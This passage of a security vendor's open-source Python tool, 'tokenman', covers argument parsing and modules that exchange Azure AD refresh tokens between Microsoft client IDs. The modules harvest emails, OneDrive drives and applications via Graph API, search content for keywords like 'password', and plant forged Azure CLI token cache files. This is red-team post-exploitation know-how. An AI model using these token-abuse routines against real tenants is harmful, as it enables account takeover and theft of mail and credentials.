50 | help="HTTP proxy url (e.g. http://127.0.0.1:8080)",
51 | )
52 |
53 | # Manage 'fetch' command
54 | # tokenman.py fetch -r/--refresh ... [-a/--access-token ...] -m/--module {all | drives,emails,groups,organizations,users}
55 | fetch_parser = subparsers.add_parser(
56 | "fetch", help="Retrieve data via Graph API", parents=[base_subparser]
57 | )
58 | fetch_parser.add_argument(
59 | "-m",
60 | "--module",
61 | type=str,
62 | default="all",
63 | help=(
64 | "fetch module(s) to run (comma delimited) "
65 | "(all | applications,drives,emails,groups,organizations,serviceprincipals,users) "
66 | "[default: all]"
67 | ),
68 | )
69 |
70 | # Manage 'search' command
71 | # tokenman.py search -r/--refresh ... [-a/--access-token ...] -m/--module {all | messages,onedrive,sharepoint} [-k/--keyword ...]
72 | search_parser = subparsers.add_parser(
73 | "search", help="Search content via Graph API", parents=[base_subparser]
74 | )
75 | search_parser.add_argument(
76 | "-m",
77 | "--module",
78 | type=str,
79 | default="all",
80 | help=(
81 | "search module(s) to run (comma delimited) "
82 | "(all | messages,onedrive,sharepoint) "
83 | "[default: all]"
84 | ),
85 | )
86 | search_parser.add_argument(
87 | "-k",
88 | "--keyword",
89 | type=str,
90 | default=",".join(utils.SEARCH_KEYWORDS),
91 | help="keyword(s) to search for (comma delimited) [default: password,username]",
92 | )
93 |
94 | # Manage 'swap' command
95 | # tokenman.py swap -r/--refresh ... [-a/--access-token ...] -c/--client-id ... [-r/--resource ...] [-s/--scope ...]
96 | swap_parser = subparsers.add_parser(
97 | "swap", help="Exchange a refresh token", parents=[base_subparser]
98 | )
99 | swap_parser.add_argument(
100 | "--list",
101 | action="store_true",
102 | help="list foci client id and name mapping",
103 | )
104 | swap_parser.add_argument(
105 | "-c",
106 | "--client-id",
107 | type=str,
108 | help="application client id or name to exchange token for",
109 | )
110 | swap_parser.add_argument(
111 | "--resource",
112 | type=str,
113 | help="token resource (audience)",
114 | )
115 | swap_parser.add_argument(
116 | "--scope",
117 | type=str,
118 | default=".default",
119 | help="token scope (comma delimited) [default: .default]",
120 | )
121 |
122 | # Manage 'az' command
123 | # tokenman.py az -r/--refresh ... [-a/--access-token ...] -c/--client-id ...
124 | az_parser = subparsers.add_parser(
125 | "az", help="Generate Azure CLI authentication files", parents=[base_subparser]
126 | )
127 | az_parser.add_argument(
128 | "-c",
129 | "--client-id",
130 | type=str,
131 | default="04b07795-8ddb-461a-bbee-02f9e1bf7b46",
132 | help="application client id or name to exchange token for [default: Azure CLI]",
133 | )
134 |
135 | # Manage 'oauth' command
136 | # Do not inherit base subparser as we don't need refresh/access tokens
137 | # tokenman.py oauth -c/--client-id ... [-s/--scope ...]
138 | oauth_parser = subparsers.add_parser("oauth", help="Perform OAuth device code flow")
139 | oauth_parser.add_argument("--debug", action="store_true", help="enable debugging")
140 | oauth_parser.add_argument(
141 | "--proxy",
142 | type=str,
143 | help="HTTP proxy url (e.g. http://127.0.0.1:8080)",
144 | )
145 | oauth_parser.add_argument(
146 | "-c",
147 | "--client-id",
148 | type=str,
149 | default="04b07795-8ddb-461a-bbee-02f9e1bf7b46",
150 | help="application client id or name to request token for [default: Azure CLI]",
151 | )
152 | oauth_parser.add_argument(
153 | "--scope",
154 | type=str,
155 | default=".default",
156 | help="token scope (comma delimited) [default: .default]",
157 | )
158 |
159 | args = parser.parse_args()
160 |
161 | if not args.command:
162 | parser.error("token man command required")
163 |
164 | # Perform arg validation
165 | if args.command == "fetch":
166 | if not args.module:
167 | parser.error("-m/--module required for 'fetch' command")
168 |
169 | if args.module.lower() == "all":
170 | args.module = utils.FETCH_MODULES
171 |
172 | else:
173 | args.module = args.module.split(",")
174 | args.module = [m.lower() for m in args.module]
175 |
176 | if any(m not in utils.FETCH_MODULES for m in args.module):
177 | parser.error("invalid 'fetch' module provided")
178 |
179 | if len(args.module) == 0:
180 | parser.error("no valid module provided")
181 |
182 | # Require refresh OR access token
183 | if not args.refresh_token and not args.access_token:
184 | parser.error("-r/--refresh-token or -a/-access-token required for 'fetch' command") # fmt: skip
185 |
186 | elif args.command == "search":
187 | if not args.module:
188 | parser.error("-m/--module required for 'search' command")
189 |
190 | if not args.keyword:
191 | parser.error("-k/--keyword required for 'search' command")
192 |
193 | args.keyword = args.keyword.split(",")
194 |
195 | if args.module.lower() == "all":
196 | args.module = utils.SEARCH_MODULES
197 |
198 | else:
199 | args.module = args.module.split(",")
200 | args.module = [m.lower() for m in args.module]
201 |
202 | if any(m not in utils.SEARCH_MODULES for m in args.module):
203 | parser.error("invalid 'search' module provided")
204 |
205 | if len(args.module) == 0:
206 | parser.error("no valid module provided")
207 |
208 | # Require refresh OR access token
209 | if not args.refresh_token and not args.access_token:
210 | parser.error("-r/--refresh-token or -a/-access-token required for 'search' command") # fmt: skip
211 |
212 | elif args.command == "swap":
213 | if args.list:
214 | print(json.dumps(utils.FOCI_CLIENT_IDS, indent=4))
215 | sys.exit(0)
216 |
217 | if not args.client_id:
218 | parser.error("-c/--client-id required for 'swap' command")
219 |
220 | if args.scope:
221 | args.scope = args.scope.split(",")
222 |
223 | # Check client name, get client id
224 | if args.client_id in utils.FOCI_CLIENT_IDS.keys():
225 | args.client_id = utils.FOCI_CLIENT_IDS[args.client_id]
226 |
227 | else:
228 | # Validate client id if provided directly
229 | if args.client_id not in utils.FOCI_CLIENT_IDS.values():
230 | parser.error("invalid 'swap' client id/name")
231 |
232 | # Require refresh token for token exchange
233 | if not args.refresh_token:
234 | parser.error("-r/--refresh-token required for 'swap' command")
235 |
236 | elif args.command == "az":
237 | if not args.client_id:
238 | parser.error("-c/--client-id required for 'az' command")
239 |
240 | # Check client name, get client id
241 | if args.client_id in utils.FOCI_CLIENT_IDS.keys():
242 | args.client_id = utils.FOCI_CLIENT_IDS[args.client_id]
243 |
244 | else:
245 | # Validate client id if provided directly
246 | if args.client_id not in utils.FOCI_CLIENT_IDS.values():
247 | parser.error("invalid 'az' client id")
248 |
249 | # Require refresh token for token exchange
250 | if not args.refresh_token:
251 | parser.error("-r/--refresh-token required for 'az' command")
252 |
253 | elif args.command == "oauth":
254 | if not args.client_id:
255 | parser.error("-c/--client-id required for 'oauth' command")
256 |
257 | # Check client name, get client id
258 | if args.client_id in utils.FOCI_CLIENT_IDS.keys():
259 | args.client_id = utils.FOCI_CLIENT_IDS[args.client_id]
260 |
261 | else:
262 | # Validate client id if provided directly
263 | if args.client_id not in utils.FOCI_CLIENT_IDS.values():
264 | parser.error("invalid 'oauth' client id")
265 |
266 | if args.scope:
267 | args.scope = args.scope.split(",")
268 |
269 | # Create empty token cache values
270 | args.access_token = None
271 | args.refresh_token = None
272 |
273 | return args
274 |
--------------------------------------------------------------------------------
/tokenman/az/__init__.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | from tokenman.az.az import AZ
16 |
--------------------------------------------------------------------------------
/tokenman/az/az.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | import os
16 | import logging
17 | from datetime import datetime
18 | from datetime import timezone
19 | from pathlib import Path
20 | from tokenman.module import ModuleBase
21 | from tokenman.state import RunState
22 | from tokenman.az.azure_profile import AzureProfile
23 | from tokenman.az.msal_token_cache import MSALTokenCache
24 |
25 |
26 | class AZ(ModuleBase):
27 | """az command handler"""
28 |
29 | @classmethod
30 | def run(
31 | cls,
32 | state: RunState,
33 | client_id: str,
34 | ):
35 | """Run the 'az' command
36 |
37 | :param state: run state
38 | :param client_id: client id to exchange token for
39 | :param resource: token audience
40 | :param scope: token scope
41 | """
42 | # Ensure the .azure directory exists
43 | user_home = str(Path.home())
44 |
45 | # If the Azure CLI directory exists, back it up
46 | if Path(f"{user_home}/.azure").is_dir():
47 | logging.debug("Azure CLI directory exists, backing up: `.azure_backup`")
48 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S")
49 | os.rename(f"{user_home}/.azure", f"{user_home}/.azure_backup.{utc_now}")
50 |
51 | Path(f"{user_home}/.azure").mkdir(parents=True, exist_ok=True)
52 |
53 | # Perform token exchange and generate MSAL Token Cache
54 | logging.info("Generating MSAL Token Cache")
55 | token_cache_created = MSALTokenCache.generate(state, client_id)
56 |
57 | if token_cache_created:
58 | logging.info("Generating Azure Profile")
59 | azure_profile = AzureProfile.generate(state)
60 |
61 | if azure_profile:
62 | logging.info("Successfully generated Azure CLI authentication files")
63 |
--------------------------------------------------------------------------------
/tokenman/az/azure_profile.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | import json
16 | import logging
17 | import requests # type: ignore
18 | from pathlib import Path
19 | from tokenman.module import ModuleBase
20 | from tokenman.state import RunState
21 | from typing import Any
22 | from typing import Dict
23 |
24 |
25 | class AzureProfile(ModuleBase):
26 | """Build Azure Profile"""
27 |
28 | def _get_subscriptions(
29 | self,
30 | access_token: str,
31 | proxies: Dict[str, str] = None,
32 | verify: bool = True,
33 | ) -> Dict[str, Any]:
34 | """Retrieve all subscriptions the user has access to via
35 | Azure Management API
36 |
37 | :param refresh_token: user access token
38 | :param proxies: http request proxy
39 | :param verify: http request certificate verification
40 | :returns: subscription response
41 | """
42 | if proxies:
43 | verify = False
44 |
45 | endpoint = "https://management.azure.com/subscriptions?api-version=2019-11-01"
46 |
47 | # Default HTTP headers to replicate a browser
48 | headers = {
49 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36",
50 | "Accept": "application/json",
51 | "Content-Type": "application/x-www-form-urlencoded",
52 | "Accept-Encoding": "gzip, deflate",
53 | "Accept-Language": "en-US,en;q=0.5",
54 | "Upgrade-Insecure-Requests": "1",
55 | "Authorization": f"Bearer {access_token}",
56 | }
57 |
58 | try:
59 | logging.debug("Requesting accessible subscriptions")
60 |
61 | response = requests.get(
62 | endpoint,
63 | headers=headers,
64 | proxies=proxies,
65 | verify=verify,
66 | )
67 | r_json = response.json()
68 |
69 | # Handle errors
70 | if "error" in r_json.keys():
71 | raise Exception(r_json["message"])
72 |
73 | return r_json
74 |
75 | except Exception as e:
76 | logging.error(f"Subscriptions Request Exception: {e}")
77 | return None
78 |
79 | @classmethod
80 | def generate(
81 | cls,
82 | state: RunState,
83 | ) -> bool:
84 | """Using an Azure CLI access token, retrieve all accessible subscriptions
85 |
86 | :param state: run state
87 | :returns: boolean if profile file created
88 | """
89 | # Parse UPN from access token
90 | ## AAD returns "preferred_username", ADFS returns "upn"
91 | upn = (
92 | state.token_cache.id_token_payload.get("preferred_username")
93 | or state.token_cache.id_token_payload["upn"]
94 | )
95 |
96 | # Retrieve subscription list
97 | subscription_data = cls._get_subscriptions(
98 | cls, state.token_cache.access_token, state.proxies
99 | )
100 | if not subscription_data:
101 | logging.error("Failed to retrieve Azure subscription list")
102 | return False
103 |
104 | logging.debug(f'{subscription_data["count"]["value"]} subscriptions found')
105 |
106 | try:
107 | # Init azure profile data structure
108 | azure_profile = {"subscriptions": []}
109 |
110 | # When building the profile data structure, default the first
111 | # subscription and mark the rest as False
112 | default = True
113 |
114 | # Account for not subscriptions access
115 | if not subscription_data["value"]:
116 | logging.warning("User does not have access to any subscriptions")
117 | logging.warning("az cli will not recognize authentication as a result")
118 |
119 | # Loop over subscriptions and add to profile data structure
120 | for subscription in subscription_data["value"]:
121 | # NOTE: This always assumes the authenticating token is for a user instead of
122 | # a service principal
123 | subscription_profile = {
124 | "id": subscription["subscriptionId"],
125 | "name": subscription["displayName"],
126 | "state": subscription["state"],
127 | "user": {
128 | "name": upn,
129 | "type": "user",
130 | },
131 | "isDefault": default,
132 | "tenantId": subscription["tenantId"],
133 | "environmentName": "AzureCloud",
134 | "homeTenantId": subscription["tenantId"],
135 | "managedByTenants": [],
136 | }
137 |
138 | if subscription["managedByTenants"]:
139 | subscription_profile["managedByTenants"] = [
140 | {"tenantId": t["tenantId"]}
141 | for t in subscription["managedByTenants"]
142 | ]
143 |
144 | azure_profile["subscriptions"].append(subscription_profile)
145 |
146 | if default:
147 | logging.debug(f"Default subscription: '{subscription['displayName']}'") # fmt: skip
148 | default = False
149 |
150 | except Exception as e:
151 | logging.error(f"Azure Profile Exception: {e}")
152 | return False
153 |
154 | # Write the azure profile
155 | logging.info("\tWriting Azure Profile to disk")
156 | with open(f"{str(Path.home())}/.azure/azureProfile.json", "w") as f:
157 | json.dump(azure_profile, f, indent=4)
158 |
159 | return True
160 |
--------------------------------------------------------------------------------
/tokenman/az/msal_token_cache.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | import json
16 | import logging
17 | from pathlib import Path
18 | from tokenman.module import ModuleBase
19 | from tokenman.state import RunState
20 |
21 |
22 | class MSALTokenCache(ModuleBase):
23 | """Build MSAL Token Cache"""
24 |
25 | @classmethod
26 | def generate(
27 | cls,
28 | state: RunState,
29 | client_id: str = "04b07795-8ddb-461a-bbee-02f9e1bf7b46",
30 | ) -> bool:
31 | """Using a refresh token, exchange for an Azure CLI token and create
32 | an MSAL Token Cache file for Azure CLI
33 |
34 | :param state: run state
35 | :param client_id: client id to exchange for
36 | :returns: if token cache created
37 | """
38 | # Acquire a new token specific for Azure Management
39 | new_token = cls.acquire_token(
40 | cls,
41 | refresh_token=state.token_cache.refresh_token,
42 | client_id=client_id,
43 | resource="https://management.core.windows.net",
44 | proxies=state.proxies,
45 | )
46 |
47 | # Handle invalid token
48 | if not new_token:
49 | logging.error("No access token retrieved")
50 | return False
51 |
52 | try:
53 | logging.debug("Parsing Azure CLI token")
54 |
55 | # Update token cache
56 | state.token_cache.access_token = new_token["access_token"]
57 | state.token_cache.refresh_token = new_token["refresh_token"]
58 | state.token_cache.id_token = new_token["id_token"]
59 | state.token_cache.client_info = new_token["client_info"]
60 |
61 | # Parse data from token cache
62 | ## Exctract necessary data from the client info
63 | uid = state.token_cache.client_info_payload["uid"]
64 |
65 | ## AAD returns "preferred_username", ADFS returns "upn"
66 | upn = (
67 | state.token_cache.id_token_payload.get("preferred_username")
68 | or state.token_cache.id_token_payload["upn"]
69 | )
70 | tid = state.token_cache.id_token_payload["tid"]
71 |
72 | ## Exctract necessary data from the access token
73 | scope = state.token_cache.access_token_payload["scp"]
74 | client_id = state.token_cache.access_token_payload["appid"]
75 | expires_on = state.token_cache.access_token_payload["exp"] - 1
76 | cached_at = state.token_cache.access_token_payload["nbf"] + 10
77 |
78 | except Exception as e:
79 | logging.error(f"Token Parsing Exception: {e}")
80 | return False
81 |
82 | # Build MSAL Token Cache data structure
83 | # NOTE: This always assumes the authenticating token is for a user instead of
84 | # a service principal
85 | msal_token_cache = {
86 | "AccessToken": {
87 | f"{uid}.{tid}-login.microsoftonline.com-accesstoken-{client_id}-{tid}-{scope}": {
88 | "credential_type": "AccessToken",
89 | "secret": state.token_cache.access_token,
90 | "home_account_id": f"{uid}.{tid}",
91 | "environment": "login.microsoftonline.com",
92 | "client_id": client_id,
93 | "target": scope,
94 | "realm": tid,
95 | "token_type": "Bearer",
96 | "cached_at": cached_at,
97 | "expires_on": expires_on,
98 | "extended_expires_on": expires_on,
99 | }
100 | },
101 | "AppMetadata": {
102 | f"appmetadata-login.microsoftonline.com-{client_id}": {
103 | "client_id": client_id,
104 | "environment": "login.microsoftonline.com",
105 | "family_id": "1",
106 | }
107 | },
108 | "RefreshToken": {
109 | f"{uid}.{tid}-login.microsoftonline.com-refreshtoken-{client_id}--{scope}": {
110 | "credential_type": "RefreshToken",
111 | "secret": state.token_cache.refresh_token,
112 | "home_account_id": f"{uid}.{tid}",
113 | "environment": "login.microsoftonline.com",
114 | "client_id": client_id,
115 | "target": scope,
116 | "last_modification_time": cached_at,
117 | "family_id": "1",
118 | }
119 | },
120 | "IdToken": {
121 | f"{uid}.{tid}-login.microsoftonline.com-idtoken-{client_id}-organizations-": {
122 | "credential_type": "IdToken",
123 | "secret": state.token_cache.id_token,
124 | "home_account_id": f"{uid}.{tid}",
125 | "environment": "login.microsoftonline.com",
126 | "realm": "organizations",
127 | "client_id": client_id,
128 | }
129 | },
130 | "Account": {
131 | f"{uid}.{tid}-login.microsoftonline.com-organizations": {
132 | "home_account_id": f"{uid}.{tid}",
133 | "environment": "login.microsoftonline.com",
134 | "realm": "organizations",
135 | "local_account_id": uid,
136 | "username": upn,
137 | "authority_type": "MSSTS",
138 | }
139 | },
140 | }
141 |
142 | # Write the token cache
143 | logging.info("\tWriting MSAL Token Cache to disk")
144 | with open(f"{str(Path.home())}/.azure/msal_token_cache.json", "w") as f:
145 | json.dump(msal_token_cache, f, indent=4)
146 |
147 | return True
148 |
--------------------------------------------------------------------------------
/tokenman/cache.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | import logging
16 | from tokenman import utils
17 | from typing import Any
18 | from typing import Dict
19 |
20 |
21 | class TokenCache:
22 | """Token cache management"""
23 |
24 | def __init__(
25 | self,
26 | access_token: str = None,
27 | refresh_token: str = None,
28 | id_token: str = None,
29 | client_info: str = None,
30 | ):
31 | """Token cache initialization
32 |
33 | :param access_token: access token string
34 | :param refresh_token: refresh token string
35 | :param id_token: id token string
36 | :param client_info: client info string
37 | """
38 | # Init and set data via properties
39 | self._access_token = None
40 | self._access_token_payload = None
41 | self.access_token = access_token
42 |
43 | self._id_token = None
44 | self.id_token_payload = None
45 | self.id_token = id_token
46 |
47 | self._client_info = None
48 | self._client_info_payload = None
49 | self.client_info = client_info
50 |
51 | # Set refresh token
52 | self.refresh_token = refresh_token
53 |
54 | @property
55 | def access_token(self):
56 | """Access token getter"""
57 | return self._access_token
58 |
59 | @access_token.setter
60 | def access_token(self, value: str):
61 | """Access token setter"""
62 | self._access_token = value
63 | if self._access_token:
64 | try:
65 | # Invoke access token payload setter
66 | self.access_token_payload = utils.decode_jwt(self._access_token)
67 |
68 | except Exception as e:
69 | logging.error(f"Failed to parse access token: {e}")
70 |
71 | @property
72 | def access_token_payload(self):
73 | """Access token payload getter"""
74 | return self._access_token_payload
75 |
76 | @access_token_payload.setter
77 | def access_token_payload(self, value: Dict[str, Any]):
78 | """Access token payload setter"""
79 | self._access_token_payload = value
80 |
81 | @property
82 | def id_token(self):
83 | """ID token getter"""
84 | return self._id_token
85 |
86 | @id_token.setter
87 | def id_token(self, value: str):
88 | """ID token setter"""
89 | self._id_token = value
90 | if self._id_token:
91 | try:
92 | # Invoke id token payload setter
93 | self.id_token_payload = utils.decode_jwt(self._id_token)
94 |
95 | except Exception as e:
96 | logging.error(f"Failed to parse id token: {e}")
97 |
98 | @property
99 | def id_token_payload(self):
100 | """ID token payload getter"""
101 | return self._id_token_payload
102 |
103 | @id_token_payload.setter
104 | def id_token_payload(self, value: Dict[str, Any]):
105 | """ID token payload setter"""
106 | self._id_token_payload = value
107 |
108 | @property
109 | def client_info(self):
110 | """Client info getter"""
111 | return self._client_info
112 |
113 | @client_info.setter
114 | def client_info(self, value: str):
115 | """Client info setter"""
116 | self._client_info = value
117 |
118 | # Base64 decode to JSON object
119 | if self._client_info:
120 | try:
121 | client_info = utils.pad_base64(self._client_info)
122 | client_info = utils.base64_to_json(client_info)
123 | self.client_info_payload = client_info
124 |
125 | except Exception as e:
126 | logging.error(f"Failed to parse client info: {e}")
127 |
128 | @property
129 | def client_info_payload(self):
130 | """Client info payload getter"""
131 | return self._client_info_payload
132 |
133 | @client_info_payload.setter
134 | def client_info_payload(self, value: Dict[str, Any]):
135 | """Client info payload setter"""
136 | self._client_info_payload = value
137 |
--------------------------------------------------------------------------------
/tokenman/fetch/__init__.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | from tokenman.fetch.fetch import Fetch
16 |
--------------------------------------------------------------------------------
/tokenman/fetch/applications.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | import logging
16 | from datetime import datetime
17 | from datetime import timezone
18 | from tokenman.module import ModuleBase
19 | from tokenman.state import RunState
20 | from typing import Any
21 | from typing import Dict
22 |
23 |
24 | class Applications(ModuleBase):
25 | """Applications retrieval class"""
26 |
27 | def _fetch_applications(
28 | self,
29 | access_token: str,
30 | proxies: Dict[str, str] = None,
31 | ) -> Dict[str, Any]:
32 | """Retrieve all applications for the given user
33 |
34 | :param access_token: access token
35 | :param proxies: http request proxy
36 | """
37 | return self.msgraph_fetch(
38 | self,
39 | path="applications?$top=999",
40 | access_token=access_token,
41 | proxies=proxies,
42 | )
43 |
44 | @classmethod
45 | def fetch(cls, state: RunState):
46 | """Fetch applications
47 |
48 | :param state: run state
49 | """
50 | # Check if we have an access token for MS Office
51 | if not cls.check_token(
52 | cls,
53 | state.token_cache.access_token_payload,
54 | "Microsoft Office",
55 | ):
56 | if not state.token_cache.refresh_token:
57 | logging.error("No refresh token found to perform token exchange")
58 | return
59 |
60 | logging.debug("Acquiring new token for: 'Microsoft Office'")
61 |
62 | # Acquire a new token specific for Microsoft Office
63 | new_token = cls.acquire_token(
64 | cls,
65 | refresh_token=state.token_cache.refresh_token,
66 | client_name="Microsoft Office",
67 | proxies=state.proxies,
68 | )
69 |
70 | # Handle invalid token
71 | if not new_token:
72 | logging.error("Could not exchange for new token")
73 | return
74 |
75 | # Update state access token
76 | state.token_cache.access_token = new_token["access_token"]
77 | state.token_cache.refresh_token = new_token["refresh_token"]
78 |
79 | logging.info("Fetching applications")
80 |
81 | # Fetch applications
82 | applications = cls._fetch_applications(
83 | cls,
84 | access_token=state.token_cache.access_token,
85 | proxies=state.proxies,
86 | )
87 | applications_count = len(applications["value"])
88 | logging.info(f"\tApplications: {applications_count}")
89 |
90 | # If applications found, write to disk
91 | if applications_count > 0:
92 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S")
93 | filename = state.output / f"fetch.applications.{utc_now}.json"
94 | logging.info(f"\tOutput: {filename}")
95 |
96 | cls.write_json(
97 | cls,
98 | filename=filename,
99 | data=applications,
100 | )
101 |
--------------------------------------------------------------------------------
/tokenman/fetch/drives.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | import logging
16 | from datetime import datetime
17 | from datetime import timezone
18 | from tokenman.module import ModuleBase
19 | from tokenman.state import RunState
20 | from typing import Any
21 | from typing import Dict
22 |
23 |
24 | class Drives(ModuleBase):
25 | """OneDrive drives retrieval class"""
26 |
27 | def _fetch_drives(
28 | self,
29 | access_token: str,
30 | proxies: Dict[str, str] = None,
31 | ) -> Dict[str, Any]:
32 | """Retrieve all drives for the given user
33 |
34 | :param access_token: access token
35 | :param proxies: http request proxy
36 | """
37 | return self.msgraph_fetch(
38 | self,
39 | path="me/drives",
40 | access_token=access_token,
41 | proxies=proxies,
42 | )
43 |
44 | @classmethod
45 | def fetch(cls, state: RunState):
46 | """Fetch user drives
47 |
48 | :param state: run state
49 | """
50 | # Check if we have an access token for MS Office
51 | if not cls.check_token(
52 | cls,
53 | state.token_cache.access_token_payload,
54 | "Microsoft Office",
55 | ):
56 | if not state.token_cache.refresh_token:
57 | logging.error("No refresh token found to perform token exchange")
58 | return
59 |
60 | logging.debug("Acquiring new token for: 'Microsoft Office'")
61 |
62 | # Acquire a new token specific for Microsoft Office
63 | new_token = cls.acquire_token(
64 | cls,
65 | refresh_token=state.token_cache.refresh_token,
66 | client_name="Microsoft Office",
67 | proxies=state.proxies,
68 | )
69 |
70 | # Handle invalid token
71 | if not new_token:
72 | logging.error("Could not exchange for new token")
73 | return
74 |
75 | # Update state access token
76 | state.token_cache.access_token = new_token["access_token"]
77 | state.token_cache.refresh_token = new_token["refresh_token"]
78 |
79 | logging.info("Fetching drives")
80 |
81 | # Fetch drives
82 | drives = cls._fetch_drives(
83 | cls,
84 | access_token=state.token_cache.access_token,
85 | proxies=state.proxies,
86 | )
87 | drives_count = len(drives["value"])
88 | logging.info(f"\tDrives: {drives_count}")
89 |
90 | # If drives found, write to disk
91 | if drives_count > 0:
92 | utc_now = datetime.now(timezone.utc).strftime("%Y%m%d%H%M%S")
93 | filename = state.output / f"fetch.drives.{utc_now}.json"
94 | logging.info(f"\tOutput: {filename}")
95 |
96 | cls.write_json(
97 | cls,
98 | filename=filename,
99 | data=drives,
100 | )
101 |
--------------------------------------------------------------------------------
/tokenman/fetch/emails.py:
--------------------------------------------------------------------------------
1 | # Copyright 2022 Secureworks
2 | #
3 | # Licensed under the Apache License, Version 2.0 (the "License");
4 | # you may not use this file except in compliance with the License.
5 | # You may obtain a copy of the License at
6 | #
7 | # http://www.apache.org/licenses/LICENSE-2.0
8 | #
9 | # Unless required by applicable law or agreed to in writing, software
10 | # distributed under the License is distributed on an "AS IS" BASIS,
11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | # See the License for the specific language governing permissions and
13 | # limitations under the License.
14 |
15 | import logging
16 | from datetime import datetime
17 | from datetime import timezone
18 | from tokenman.module import ModuleBase
19 | from tokenman.state import RunState
20 | from typing import Any
21 | from typing import Dict
22 |
23 |
24 | class Emails(ModuleBase):
25 | """Email retrieval class"""
26 |
27 | def _fetch_emails(
28 | self,
29 | access_token: str,
30 | proxies: Dict[str, str] = None,
31 | ) -> Dict[str, Any]:
32 | """Retrieve all emails for the given user
33 |
34 | :param access_token: access token
35 | :param proxies: http request proxy
36 | """
37 | return self.msgraph_fetch(
38 | self,
39 | path="me/messages",
40 | access_token=access_token,
41 | proxies=proxies,
42 | )
43 |
44 | @classmethod
45 | def fetch(cls, state: RunState):
46 | """Fetch user emails
47 |
48 | :param state: run state
49 | """
50 | # Check if we have an access token for MS Office
51 | if not cls.check_token(
52 | cls,
53 | state.token_cache.access_token_payload,
54 | "Microsoft Office",
55 | ):
56 | if not state.token_cache.refresh_token:
57 | logging.error("No refresh token found to perform token exchange")
58 | return
59 |
60 | logging.debug("Acquiring new token for: 'Microsoft Office'")
61 |
62 | # Acquire a new token specific for Microsoft Office
63 | new_token = cls.acquire_token(
64 | cls,
65 | refresh_token=state.token_cache.refresh_token,
66 | client_name="Microsoft Office",
67 | proxies=state.proxies,
68 | )
69 |
70 | # Handle invalid token
71 | if not new_token:
